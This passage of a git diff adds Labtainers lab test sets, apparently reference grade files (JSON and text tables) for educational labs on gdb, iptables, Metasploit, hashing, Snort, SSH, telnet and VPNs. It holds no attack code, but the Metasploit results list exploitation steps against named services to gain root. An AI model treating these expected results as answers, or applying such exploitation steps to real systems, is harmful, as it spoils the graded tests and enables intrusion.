b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/gdblesson/SILVER/dwt_at_email.gdblesson.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/gdblesson/SILVER/gdblesson.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/gdblesson/SILVER/gdblesson.grades.json new file mode 100644 index 000000000..71ea42821 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/gdblesson/SILVER/gdblesson.grades.json @@ -0,0 +1,20 @@ +{ + "dwt_at_email.gdblesson": { + "actualwatermark": {}, + "parameter": {}, + "expectedwatermark": {}, + "grades": { + "gcc_task_one": true, + "smx_task_a": true, + "smx_task_b": false, + "correct_check_a": true, + "gdb_run_task": false, + "gdb_list_task": true, + "gdb_print_task": true, + "gdb_step_task": true, + "correct_check_two": false + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/gdblesson/SILVER/gdblesson.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/gdblesson/SILVER/gdblesson.grades.txt new file mode 100644 index 000000000..184d3b5f6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/gdblesson/SILVER/gdblesson.grades.txt @@ -0,0 +1,8 @@ +Labname gdblesson + +Student | gcc_task_one | smx_task_a | smx_task_b | correct_check_a | gdb_run_task | gdb_list_task | gdb_print_task | gdb_step_task | correct_check_t | +==================== | =============== | =============== | =============== | =============== | =============== | =============== | =============== | =============== | =============== | +dwt_at_email | Y | Y | | Y | | Y | Y | Y | | +What is automatically assessed for this lab: + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/iptables/GOLD/dog_at_cat.com.iptables.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/iptables/GOLD/dog_at_cat.com.iptables.zip new file mode 100644 index 000000000..02f9c29d9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/iptables/GOLD/dog_at_cat.com.iptables.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/iptables/GOLD/iptables.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/iptables/GOLD/iptables.grades.json new file mode 100644 index 000000000..5fec70326 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/iptables/GOLD/iptables.grades.json @@ -0,0 +1,20 @@ +{ + "dog_at_cat.com.iptables": { + "actualwatermark": "2434757fbd78ae82909e9e68aa245f7e", + "parameter": { + "DIGESTFILE": "884e3b9579a6cf3cd2dbab7d7b113cbb" + }, + "expectedwatermark": "2434757fbd78ae82909e9e68aa245f7e", + "grades": { + "_ssh": true, + "_http": true, + "_telnet": true, + "_telnetx": true, + "ports_ok": true, + "own_work": true, + "no_telnetx": true + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/iptables/GOLD/iptables.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/iptables/GOLD/iptables.grades.txt new file mode 100644 index 000000000..3033831fd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/iptables/GOLD/iptables.grades.txt @@ -0,0 +1,9 @@ +Labname iptables + +Student | ports_ok | no_telnetx | +==================== | =============== | =============== | +dog_at_cat.com | Y | Y | +What is automatically assessed for this lab: + + ports_ok: ssh & http were open, telnet closed + no_telnetx: blocked other, unknown ports diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/metasploit/GOLD/jkhosali_at_nps.edu.metasploit.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/metasploit/GOLD/jkhosali_at_nps.edu.metasploit.zip new file mode 100644 index 000000000..a3b6d0ced Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/metasploit/GOLD/jkhosali_at_nps.edu.metasploit.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/metasploit/GOLD/metasploit.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/metasploit/GOLD/metasploit.grades.json new file mode 100644 index 000000000..b608d598c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/metasploit/GOLD/metasploit.grades.json @@ -0,0 +1,55 @@ +{ + "jkhosali_at_nps.edu.metasploit": { + "actualwatermark": "9fb514d5a95d713f527e9999007451af", + "parameter": { + "FSTRING": "bc83360aa3ac675ff570b450dab259e5" + }, + "expectedwatermark": "9fb514d5a95d713f527e9999007451af", + "grades": { + "_rlogin": true, + "_rloginview": true, + "rlogin_ok": true, + "_ingreslock": true, + "_ingreslockview": true, + "ingreslock_ok": true, + "_distccd": true, + "_distccdview": true, + "_use_distccd": true, + "_nmapdistccd_ok": true, + "distccd_ok": true, + "_irc": true, + "_ircview": true, + "_use_irc": true, + "_nmapirc_ok": true, + "irc_ok": true, + "_vsftpd": true, + "_vsftpdview": true, + "_use_vsftpd": true, + "_nmapvsftpd_ok": true, + "vsftpd_ok": true, + "_samba": true, + "_sambaview": true, + "_use_samba": true, + "_nmapsamba_ok": true, + "samba_ok": true, + "_httpphp": true, + "_httpphpview": true, + "_use_httpphp": true, + "_nmaphttpphp_ok": true, + "httpphp_ok": true, + "_postgres": true, + "_postgresview": true, + "_use_postgres": true, + "_nmappostgres_ok": true, + "postgres_ok": true, + "_distccd_exploit": true, + "_irc_exploit": true, + "_vsftpd_exploit": true, + "_samba_exploit": true, + "_httpphp_exploit": true, + "_postgres_exploit": true + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/metasploit/GOLD/metasploit.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/metasploit/GOLD/metasploit.grades.txt new file mode 100644 index 000000000..bc240cd0b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/metasploit/GOLD/metasploit.grades.txt @@ -0,0 +1,15 @@ +Labname metasploit + +Student | rlogin_ok | ingreslock_ok | distccd_ok | irc_ok | vsftpd_ok | samba_ok | httpphp_ok | postgres_ok | +==================== | =============== | =============== | =============== | =============== | =============== | =============== | =============== | =============== | +jkhosali_at_nps.edu | Y | Y | Y | Y | Y | Y | Y | Y | +What is automatically assessed for this lab: + + rlogin_ok: Ran nmap and used rlogin to achieve root privilege and view root file + ingreslock_ok: Ran nmap and used telnet (to ingreslock service) to achieve root privilege and view root file + distccd_ok: Ran nmap and used msfconsole (use distccd exploit) to achieve root privilege and view root file + irc_ok: Ran nmap and used msfconsole (use ircd exploit) to achieve root privilege and view root file + vsftpd_ok: Ran nmap and used msfconsole (use vsftpd exploit) to achieve root privilege and view root file + samba_ok: Ran nmap and used msfconsole (use samba exploit) to achieve root privilege and view root file + httpphp_ok: Ran nmap and used msfconsole (use HTTP PHP exploit) to achieve root privilege and view root file + postgres_ok: Ran nmap and used msfconsole (use Postgres exploit) to achieve root privilege and view root file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/onewayhash/GOLD/dwtemple2_at_nps.edu.onewayhash.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/onewayhash/GOLD/dwtemple2_at_nps.edu.onewayhash.zip new file mode 100644 index 000000000..ac7295330 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/onewayhash/GOLD/dwtemple2_at_nps.edu.onewayhash.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/onewayhash/GOLD/onewayhash.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/onewayhash/GOLD/onewayhash.grades.json new file mode 100644 index 000000000..8b8f10ebc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/onewayhash/GOLD/onewayhash.grades.json @@ -0,0 +1,30 @@ +{ + "dwtemple2_at_nps.edu.onewayhash": { + "actualwatermark": {}, + "parameter": { + "DIGESTFILE": "cb0a6a84d5c93d52f277a29640b2d06f" + }, + "expectedwatermark": {}, + "grades": { + "_md5done": true, + "_sha1done": true, + "_shadone": false, + "_sha256done": true, + "_sha224done": false, + "_sha384done": false, + "_sha512done": false, + "_md4done": false, + "_whirlpooldone": false, + "_rmd160done": false, + "did_3_hashes": true, + "hmac_md5_done": true, + "hmac_sha1_done": true, + "hmac_sha256_done": true, + "random_sha256diff": true, + "random_md5diff": true, + "own_work": true + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/onewayhash/GOLD/onewayhash.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/onewayhash/GOLD/onewayhash.grades.txt new file mode 100644 index 000000000..5d3b458d6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/onewayhash/GOLD/onewayhash.grades.txt @@ -0,0 +1,10 @@ +Labname onewayhash + +Student | did_3_hashes | hmac_md5_done | hmac_sha1_done | hmac_sha256_don | random_sha256di | random_md5diff | own_work | +==================== | =============== | =============== | =============== | =============== | =============== | =============== | =============== | +dwtemple2_at_nps.edu | Y | Y | Y | Y | Y | Y | Y | +What is automatically assessed for this lab: + + did_3_hashes: Did the student try 3 different has algorithms? + hmac_md5_done, hmac_sha1_done, hmac_sha256_done: Three prescribed algorithms for HMAC operations + random_sha256diff, random_md5diff: Two prescribed algorithms for observing changes in hash due to file modification diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/onewayhash/SILVER/dwtemple2_at_nps.edu.onewayhash.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/onewayhash/SILVER/dwtemple2_at_nps.edu.onewayhash.zip new file mode 100644 index 000000000..1de2fb820 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/onewayhash/SILVER/dwtemple2_at_nps.edu.onewayhash.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/onewayhash/SILVER/onewayhash.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/onewayhash/SILVER/onewayhash.grades.json new file mode 100644 index 000000000..10b9f29df --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/onewayhash/SILVER/onewayhash.grades.json @@ -0,0 +1,30 @@ +{ + "dwtemple2_at_nps.edu.onewayhash": { + "actualwatermark": {}, + "parameter": { + "DIGESTFILE": "cb0a6a84d5c93d52f277a29640b2d06f" + }, + "expectedwatermark": {}, + "grades": { + "_md5done": true, + "_sha1done": true, + "_shadone": false, + "_sha256done": true, + "_sha224done": false, + "_sha384done": false, + "_sha512done": false, + "_md4done": false, + "_whirlpooldone": false, + "_rmd160done": false, + "did_3_hashes": true, + "hmac_md5_done": true, + "hmac_sha1_done": true, + "hmac_sha256_done": true, + "random_sha256diff": false, + "random_md5diff": false, + "own_work": true + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/onewayhash/SILVER/onewayhash.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/onewayhash/SILVER/onewayhash.grades.txt new file mode 100644 index 000000000..c20652e7b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/onewayhash/SILVER/onewayhash.grades.txt @@ -0,0 +1,10 @@ +Labname onewayhash + +Student | did_3_hashes | hmac_md5_done | hmac_sha1_done | hmac_sha256_don | random_sha256di | random_md5diff | own_work | +==================== | =============== | =============== | =============== | =============== | =============== | =============== | =============== | +dwtemple2_at_nps.edu | Y | Y | Y | Y | | | Y | +What is automatically assessed for this lab: + + did_3_hashes: Did the student try 3 different has algorithms? + hmac_md5_done, hmac_sha1_done, hmac_sha256_done: Three prescribed algorithms for HMAC operations + random_sha256diff, random_md5diff: Two prescribed algorithms for observing changes in hash due to file modification diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/shellbasics/GOLD/dwtemple2_at_nps.edu.shellbasics.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/shellbasics/GOLD/dwtemple2_at_nps.edu.shellbasics.zip new file mode 100644 index 000000000..ca1461f29 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/shellbasics/GOLD/dwtemple2_at_nps.edu.shellbasics.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/shellbasics/GOLD/shellbasics.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/shellbasics/GOLD/shellbasics.grades.json new file mode 100644 index 000000000..c3ff2e42d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/shellbasics/GOLD/shellbasics.grades.json @@ -0,0 +1,33 @@ +{ + "dwtemple2_at_nps.edu.shellbasics": { + "actualwatermark": {}, + "parameter": { + "secret_value": "0x58" + }, + "expectedwatermark": {}, + "grades": { + "_did_mkdir_one": true, + "_did_touch_one": true, + "_did_pwd_one": true, + "did_task_a": true, + "did_task_b": true, + "_did_ls_one": true, + "_did_mv_one": true, + "did_task_c": true, + "_did_cp_one": true, + "_did_cp_two": true, + "did_task_d": true, + "_did_cal": true, + "_did_append": true, + "did_task_e": true, + "_did_more": true, + "_did_less": true, + "_did_rm": true, + "did_task_f": true, + "own_work": true, + "_did_date": true + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/shellbasics/GOLD/shellbasics.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/shellbasics/GOLD/shellbasics.grades.txt new file mode 100644 index 000000000..ce400841d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/shellbasics/GOLD/shellbasics.grades.txt @@ -0,0 +1,8 @@ +Labname shellbasics + +Student | did_task_a | did_task_b | did_task_c | did_task_d | did_task_e | did_task_f | own_work | +==================== | =============== | =============== | =============== | =============== | =============== | =============== | =============== | +dwtemple2_at_nps.edu | Y | Y | Y | Y | Y | Y | Y | +What is automatically assessed for this lab: + + Lab created by interns, rough idea of student interaction with the shell diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/shellbasics/SILVER/dwt_at_email.shellbasics.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/shellbasics/SILVER/dwt_at_email.shellbasics.zip new file mode 100644 index 000000000..6546e29f2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/shellbasics/SILVER/dwt_at_email.shellbasics.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/shellbasics/SILVER/shellbasics.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/shellbasics/SILVER/shellbasics.grades.json new file mode 100644 index 000000000..550308528 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/shellbasics/SILVER/shellbasics.grades.json @@ -0,0 +1,33 @@ +{ + "dwt_at_email.shellbasics": { + "actualwatermark": {}, + "parameter": { + "secret_value": "0x4e" + }, + "expectedwatermark": {}, + "grades": { + "_did_mkdir_one": true, + "_did_touch_one": true, + "_did_pwd_one": false, + "did_task_a": false, + "did_task_b": true, + "_did_ls_one": true, + "_did_mv_one": true, + "did_task_c": true, + "_did_cp_one": false, + "_did_cp_two": false, + "did_task_d": false, + "_did_cal": false, + "_did_append": false, + "did_task_e": false, + "_did_more": false, + "_did_less": false, + "_did_rm": false, + "did_task_f": false, + "own_work": true, + "_did_date": true + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/shellbasics/SILVER/shellbasics.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/shellbasics/SILVER/shellbasics.grades.txt new file mode 100644 index 000000000..77e64585b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/shellbasics/SILVER/shellbasics.grades.txt @@ -0,0 +1,8 @@ +Labname shellbasics + +Student | did_task_a | did_task_b | did_task_c | did_task_d | did_task_e | did_task_f | own_work | +==================== | =============== | =============== | =============== | =============== | =============== | =============== | =============== | +dwt_at_email | | Y | Y | | | | Y | +What is automatically assessed for this lab: + + Lab created by interns, rough idea of student interaction with the shell diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/snort/GOLD/dog_at_cat.com.snort.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/snort/GOLD/dog_at_cat.com.snort.zip new file mode 100644 index 000000000..a69ca302c Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/snort/GOLD/dog_at_cat.com.snort.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/snort/GOLD/snort.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/snort/GOLD/snort.grades.json new file mode 100644 index 000000000..b10600417 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/snort/GOLD/snort.grades.json @@ -0,0 +1,19 @@ +{ + "dog_at_cat.com.snort": { + "actualwatermark": "c22912027b86e41284bb5fce933fcc2b", + "parameter": {}, + "expectedwatermark": "c22912027b86e41284bb5fce933fcc2b", + "grades": { + "snort_local_conf": true, + "snort_remote_conf": true, + "snort_remote_fire": true, + "snort_local_fire": true, + "proper_config": true, + "_log_plan_local": true, + "_log_plan_remote": true, + "snort_local_nmap": true + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/snort/GOLD/snort.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/snort/GOLD/snort.grades.txt new file mode 100644 index 000000000..afd3fd420 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/snort/GOLD/snort.grades.txt @@ -0,0 +1,12 @@ +Labname snort + +Student | snort_local_con | snort_remote_co | snort_remote_fi | snort_local_fir | proper_config | snort_local_nma | +==================== | =============== | =============== | =============== | =============== | =============== | =============== | +dog_at_cat.com | Y | Y | Y | Y | Y | Y | +What is automatically assessed for this lab: + + snort_local_conf: Snort alerts for CONFIDENTIAL access from local + snort_remote_conf: Snort alerts for CONFIDENTIAL access from remote + snort_remote_fire, snort_local_fire: the httpd log entries that occured during specific snort sessions + proper_config: Was there a snort session with remote alarm, no local alarm, and a local nmap alarm + during which the plan was accessed locally & remotely? diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/snort/SILVER/frank_at_beans.com.snort.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/snort/SILVER/frank_at_beans.com.snort.zip new file mode 100644 index 000000000..e05b888f7 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/snort/SILVER/frank_at_beans.com.snort.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/snort/SILVER/snort.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/snort/SILVER/snort.grades.json new file mode 100644 index 000000000..fea3c162f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/snort/SILVER/snort.grades.json @@ -0,0 +1,19 @@ +{ + "frank_at_beans.com.snort": { + "actualwatermark": "00f4f0b4153d975e67bdacfb39680a14", + "parameter": {}, + "expectedwatermark": "00f4f0b4153d975e67bdacfb39680a14", + "grades": { + "snort_local_conf": false, + "snort_remote_conf": true, + "snort_remote_fire": true, + "snort_local_fire": false, + "proper_config": false, + "_log_plan_local": false, + "_log_plan_remote": true, + "snort_local_nmap": true + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/snort/SILVER/snort.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/snort/SILVER/snort.grades.txt new file mode 100644 index 000000000..fb521ed56 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/snort/SILVER/snort.grades.txt @@ -0,0 +1,12 @@ +Labname snort + +Student | snort_local_con | snort_remote_co | snort_remote_fi | snort_local_fir | proper_config | snort_local_nma | +==================== | =============== | =============== | =============== | =============== | =============== | =============== | +frank_at_beans.com | | Y | Y | | | Y | +What is automatically assessed for this lab: + + snort_local_conf: Snort alerts for CONFIDENTIAL access from local + snort_remote_conf: Snort alerts for CONFIDENTIAL access from remote + snort_remote_fire, snort_local_fire: the httpd log entries that occured during specific snort sessions + proper_config: Was there a snort session with remote alarm, no local alarm, and a local nmap alarm + during which the plan was accessed locally & remotely? diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/sshlab/GOLD/jkhosali_at_nps.edu.sshlab.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/sshlab/GOLD/jkhosali_at_nps.edu.sshlab.zip new file mode 100644 index 000000000..969940644 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/sshlab/GOLD/jkhosali_at_nps.edu.sshlab.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/sshlab/GOLD/sshlab.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/sshlab/GOLD/sshlab.grades.json new file mode 100644 index 000000000..f6ba2b8c9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/sshlab/GOLD/sshlab.grades.json @@ -0,0 +1,16 @@ +{ + "jkhosali_at_nps.edu.sshlab": { + "actualwatermark": {}, + "parameter": { + "FSTRING": "83f400f8bdff07f8f0859edc832a1fac" + }, + "expectedwatermark": {}, + "grades": { + "sshview": true, + "sshlogin_nopsw": true, + "sshlogin": true + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/sshlab/GOLD/sshlab.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/sshlab/GOLD/sshlab.grades.txt new file mode 100644 index 000000000..4eaa99621 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/sshlab/GOLD/sshlab.grades.txt @@ -0,0 +1,9 @@ +Labname sshlab + +Student | sshview | sshlogin_nopsw | sshlogin | +==================== | =============== | =============== | =============== | +jkhosali_at_nps.edu | Y | Y | Y | +What is automatically assessed for this lab: + + sshview: Used ssh to view the file + sshlogin_nopsw: Was able to ssh without use of a passwork (used ssh keys) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/telnetlab/GOLD/telnetlab.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/telnetlab/GOLD/telnetlab.grades.json new file mode 100644 index 000000000..43a7636cf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/telnetlab/GOLD/telnetlab.grades.json @@ -0,0 +1,17 @@ +{ + "testing_at_testing.com.telnetlab": { + "actualwatermark": {}, + "parameter": { + "FSTRING": "964572c37865efd16d7b6877dd95b5bc" + }, + "expectedwatermark": {}, + "grades": { + "telnetview": true, + "sshview": true, + "tcpdump_plain": true, + "failed_login": true + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/telnetlab/GOLD/telnetlab.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/telnetlab/GOLD/telnetlab.grades.txt new file mode 100644 index 000000000..9091d197b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/telnetlab/GOLD/telnetlab.grades.txt @@ -0,0 +1,9 @@ +Labname telnetlab + +Student | telnetview | sshview | failed_login | +==================== | =============== | =============== | =============== | +testing_at_testing.c | Y | Y | Y | +What is automatically assessed for this lab: + failed_login: Failed login as expected. + telnetview: viewed file from telnet + sshview: viewed file from ssh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/telnetlab/GOLD/testing_at_testing.com.telnetlab.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/telnetlab/GOLD/testing_at_testing.com.telnetlab.zip new file mode 100644 index 000000000..e7568ba64 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/telnetlab/GOLD/testing_at_testing.com.telnetlab.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/telnetlab/SILVER/telnetlab.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/telnetlab/SILVER/telnetlab.grades.json new file mode 100644 index 000000000..93f6517af --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/telnetlab/SILVER/telnetlab.grades.json @@ -0,0 +1,17 @@ +{ + "testing_at_testing.com.telnetlab": { + "actualwatermark": {}, + "parameter": { + "FSTRING": "964572c37865efd16d7b6877dd95b5bc" + }, + "expectedwatermark": {}, + "grades": { + "telnetview": false, + "sshview": false, + "tcpdump_plain": true, + "failed_login": true + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/telnetlab/SILVER/telnetlab.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/telnetlab/SILVER/telnetlab.grades.txt new file mode 100644 index 000000000..356a63f58 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/telnetlab/SILVER/telnetlab.grades.txt @@ -0,0 +1,9 @@ +Labname telnetlab + +Student | telnetview | sshview | failed_login | +==================== | =============== | =============== | =============== | +testing_at_testing.c | | | Y | +What is automatically assessed for this lab: + failed_login: Failed login as expected. + telnetview: viewed file from telnet + sshview: viewed file from ssh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/telnetlab/SILVER/testing_at_testing.com.telnetlab.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/telnetlab/SILVER/testing_at_testing.com.telnetlab.zip new file mode 100644 index 000000000..329c6b7e6 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/telnetlab/SILVER/testing_at_testing.com.telnetlab.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/vpnlab/GOLD/jkhosali_at_nps.edu.vpnlab.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/vpnlab/GOLD/jkhosali_at_nps.edu.vpnlab.zip new file mode 100644 index 000000000..bb3d0f5e6 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/vpnlab/GOLD/jkhosali_at_nps.edu.vpnlab.zip differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/vpnlab/GOLD/vpnlab.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/vpnlab/GOLD/vpnlab.grades.json new file mode 100644 index 000000000..800bb51e8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/vpnlab/GOLD/vpnlab.grades.json @@ -0,0 +1,25 @@ +{ + "jkhosali_at_nps.edu.vpnlab": { + "actualwatermark": {}, + "parameter": { + "HTTPSERVERLINK1": "b0fcbce570a5f3f163e933a39fe0c4bb", + "HTTPSERVERLINK2": "b0fcbce570a5f3f163e933a39fe0c4bb" + }, + "expectedwatermark": {}, + "grades": { + "get_index_ok": true, + "get_link1_ok": true, + "get_link2_ok": true, + "_routertcpdumpon": true, + "_wgetlink1openok": true, + "tcpdump_open_link1": true, + "_wgetlink1encryptedok": true, + "tcpdump_encr_link1": true, + "getindexhtml": true, + "getlink1html": true, + "getlink2html": true + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/vpnlab/GOLD/vpnlab.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/vpnlab/GOLD/vpnlab.grades.txt new file mode 100644 index 000000000..fd172eff1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/vpnlab/GOLD/vpnlab.grades.txt @@ -0,0 +1,10 @@ +Labname vpnlab + +Student | get_index_ok | get_link1_ok | get_link2_ok | tcpdump_open_li | tcpdump_encr_li | getindexhtml | getlink1html | getlink2html | +==================== | =============== | =============== | =============== | =============== | =============== | =============== | =============== | =============== | +jkhosali_at_nps.edu | Y | Y | Y | Y | Y | Y | Y | Y | +What is automatically assessed for this lab: + + get_index_ok, get_link1_ok, get_link2_ok: was able to access http over the vpn + tcpdump_open_link1: had tcpdump running while running wget over an unencrypted link + _wgetlink1encryptedok: had tcpdump running while running wget over an encrypted link diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/vpnlab2/GOLD/jkhosali_at_nps.edu.vpnlab2.zip b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/vpnlab2/GOLD/jkhosali_at_nps.edu.vpnlab2.zip new file mode 100644 index 000000000..a6af77610 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/vpnlab2/GOLD/jkhosali_at_nps.edu.vpnlab2.zip differ diff --git 